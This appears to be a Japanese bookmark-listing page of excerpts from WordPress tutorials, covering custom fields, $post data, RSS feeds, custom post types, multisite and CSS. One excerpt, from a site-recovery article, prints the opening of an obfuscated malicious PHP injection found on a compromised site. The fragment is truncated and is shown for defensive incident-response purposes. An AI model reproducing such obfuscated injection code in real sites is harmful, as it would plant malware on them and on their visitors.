WordPress の個別ページなどのカスタムフィールドの値を取る場合に以下のように get_page_by_path() を使って対応することができます。しかし、カスタム投稿タイプの場合は以下の方法では対応しきれません。
WordPress の個別ページなどのカスタムフィールドの値を取る場合に以下のように get_page_by_path() を使って対応することができます。しかし、カスタム投稿タイプの場合は以下の方法では対応しきれません。
WordPress の $post はループ内で使用できる変数だそうで。 中に何が入っているのか気になるので、分解してみました。 stdClass Object ( [ID] => 4025 [post_author] => 2 [post_date] => 2010-04-24 18:07:14 [post_date_gmt] => 2010-04-24 09:07:14 [post_content] => WordPress ではページ毎にテンプレートを用意することが可能... [post_title] => WordPress のページテンプレートの情報を取得する方法 [post_category] => 0 [post_excerpt] => [post_status] => publish [comment_status] => open [ping_status] => ope
date_default_timezone_set() で日本の時間を取得するようにできるみたいです。サーバーの設定にもよると思いますが、なんとなくよくサーバーによっては取得でいない時があってお世話になるのでメモしておきます。
WordPress の投稿の全てのデータを取得する方法を紹介します。この記事では投稿の全てのデータの取得についてで、添付ファイル(画像ファイルなど)などの投稿に関連するデータまでは取り出しません。 $post の中に全てがある 投稿の著者 ID が欲しいとか、投稿のコメント欄はどうなっているかなどの細かい情報は大抵 $post の中に入っています。試しに $post を print_r() などしてみるといろんなデータが出て来るのが分かります。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 stdClass Object ( [ID] => 1 [post_author] => 1 [post_date] => 2012-04-10 01:35:03 [post_dat
WordPress の RSS はデフォルトではコンテンツ部分しか表示されません。もしあなたがカスタムフィールドを使って追加の情報を入力して、テーマをカスタマイズして記事側で表示するようにしても、RSS 側には反映されません。 もし RSS にもカスタムフィールドの値を表示するようにしたい場合は下記の方法で表示することができます。 function fields_in_feed($content) { if(is_feed()) { $post_id = get_the_ID(); $output = '<div class="bottom">'; $output .= '<p><strong>今日の一言:</strong> ' . get_post_meta($post_id, 'message', true) . '</p>'; $output .= '<p><strong>明日の予告
カスタム投稿タイプを拡張するためのプラグインがあります。しかしプラグイン頼りだとプラグインがなくなった時に困りますし、テーマで直接有効化したいという場合もあると思いますので、今回は直接拡張を簡単にする方法を紹介します。 カスタム投稿タイプを簡単に拡張するコード 以下のコードを functions.php などに貼りつけて下さい。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 class wbCustom { function custom_post_type($titl
今回 Facebook ファンページへ投稿するにあたって以下の記事が参考になりました。株式会社プラスターのなおさんという方が書いた記事です。本当に要点を抑えて重要なことを書かれていて、スムーズに実装することができましたので、Facebook が分かる方はこちらの記事を読んで下さい。 PHPでfacebookページのウォールに投稿する | プラスター業務日記 本記事では Twitter で API を使って投稿する方法なら分かる人向けに Facebook で API を使って投稿する方法について紹介します。今回は WordPress の記事投稿時に記事情報をファンページに投稿することを想定していますので具体例としてブログを出すことがあります。 必要なものを揃える Facebook アプリを作成 以下のページからアプリを作成します。このアプリは Twitter のアプリと似たようなもので、例え
今回は、マルチサイトにした WordPress を普通の WordPress に戻す方法を紹介します。 マルチサイトを無効化する 投稿データ マルチサイトのファイルアップロード先は特殊だがメインサイトのアップロード先は通常の WordPress サイトと同じで変更されていないため投稿データの操作を行う必要はありません。 設定ファイルを元に戻す マルチサイトを有効化するに辺り以下のような記述を行ったはずです。まずはこちらの記述を削除することで、マルチサイトを無効化することができるはずです。この時点でマルチサイトへアクセスすると、本サイトと同じコンテンツが表示されます。 define( 'WP_ALLOW_MULTISITE', true ); define( 'MULTISITE', true ); define( 'SUBDOMAIN_INSTALL', true ); $base = '
WordPress の一般設定に入力項目を追加する方法が紹介されています。この方法を使えばテーマ用の設定を一般設定に加える、例えば私のサイトの様にロゴ部分は英語にしたいといったときに、英語表記という項目を一般設定に加えて設定することができます。 WordPress › フォーラム » 一般設定に入力項目を追加したい functions.php で項目を増やすコードを書く hoge の部分をご自分の環境によって変えてください。 <?php class wbConfig { public function __construct() { add_action('admin_init', Array(&$this, 'admin_init')); } public function admin_init() { add_filter('whitelist_options', Array(&$th
改ざんされてウィルス配布コード埋めこまれてから復旧までの作業や申請の手続きについてまとめていきます。 追記: 「改ざんされた場合そのものの対処方法」という意味で書かせて頂きました。phpMyAdmin の脆弱性についてではなく全般的な内容となっております。誤解を与える表現となってしまい申し訳御座いません。 今回埋めこまれた不正なコード 実際のコードは改行やスペースがなくなって一行のコードとなっておりますので非常に気づきにくいです。 <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) { $eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn
$customPostTypeObj = get_post_type_object(get_post_type()); echo esc_html($customPostTypeObj->labels->name);
WordPress のテーマをカスタマイズするにはローカルにインストールした WordPress を使うのが良いです。最近は便利なソフトがあるようですが、ソフトを学ぶより一般的なインストール方法を知りたいという人向けに書いていきます。 開発環境を構築する 開発環境にインストールする人は開発環境を用意します。まだ作ってない人は以下の環境を構築してください。リモートサーバーにインストールする人は要件だけ確認して読み飛ばしてください。 PHP バージョン 5.2.4 以上 MySQL バージョン 5.0 以上 ※WordPress 3.2.1 時の要件です。 構築の仕方が分からない人は以下の記事を参考にしてください。 Windows / Mac / Linux で PHP + MySQL の開発環境を構築する WordPress のファイルをダウンロードする 今回は http://example
Windows で hosts ファイルを管理するには Hosts File Manager が便利です。ただし Windows7 で動かすには「管理者として実行する」必要があります。 Hosts File Manager 管理者として実行する項目がない場合の対処方法 インストール直後、右クリックからの「管理者として実行する」項目がありませんでしたので、以下のようにして管理者として実行できるように設定をします。 「管理者としてこのプログラムを実行する」というチェックボックスがありますので、こちらにチェックを入れておけば実行時、自動的に管理者として実行されます。 管理者として Hosts File Manager を実行しなくても、一見編集することはできますが、肝心の hosts ファイルなどに変更を反映させることができませんので気をつけてください。 また Hosts File Manage
カスタムフィールドの使い方をシンプルに教えます。一度覚えれば一生使えますので一緒に勉強していきましょう。 カスタムフィールドとは ブログの今日の一言とかを作るのに良いです。ブログ記事の抜粋部分とかサブタイトルを入れたりと、別枠で好きな枠組みを作れるのでアイディア次第でいろいろ作れます。分からない方はこれを読むとカスタムフィールドが何かに着いて理解できるかもしれません。 簡単なカスタムフィールドの使い方 管理画面のどこにカスタムフィールドを使うところがあるの? デフォルトで表示されてたり、されてないかもしれません、まずは画像のように表示オプションからカスタムフィールドが有効になっていることを確認します。 下に行くとカスタムフィールド欄が出現 これがカスタムフィールド欄です。 カスタムフィールドに何か入力します 左側はカスタムフィールドの名前、右側は値を入れます。今日の一言を実装するなら画像の
WordPress 上手に使ってますか。Web サイトの簡単更新をできるサイトを構築したい方は WordPress のウィジェットをうまく活用すると良いです。今回はサイドバーのバナーを簡単に管理できるようなテーマのカスタマイズ方法を紹介します。 ウィジェットで広告を簡単管理 ウィジェットを使えばこのように広告を簡単に管理できます。こういう風に広告を管理する方法を紹介します。 カスタマイズ方法 functions.php 以下のコードでウィジェットを作成します。 register_sidebar( array( 'name' => 'サイドバー広告', 'id' => 'sideads', 'description' => 'サイドバーの広告を管理できます。', 'before_widget' => '<div id="%1$s" class="ads %2$s">', 'after_wid
今回は CSS のみで以下の画像のような影付きの線を作ります。 以下のコードで実装できます。変更点は border の色の部分のみです。 header .menu { z-index: 10; position: relative; border-bottom: 1px #ff3700 solid; } header .menu:before { bottom: 0; content: ""; display: block; left: 0; position: absolute; right: 0; top: 0; z-index: -1; border-bottom: 1px #d32f02 solid; } :before 擬似要素は IE8 移行からしか対応していなかった覚えがありますので、IE6 IE7 に対応する場合は使えません。ただ、最近 IE6 を飛び越えて IE8 利用者
以下のような出力になります。ul タグは付いてこないので、この部分は自分で補完してあげる必要があります。 <li id="linkcat-2" class="linkcat"> <h2>ブログロール</h2> <ul class='xoxo blogroll'> <li><a href="http://codex.wordpress.org/">Documentation</a></li> <li><a href="http://codex.wordpress.org/">Documentation</a></li> <li><a href="http://codex.wordpress.org/">Documentation</a></li> </ul> </li>
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く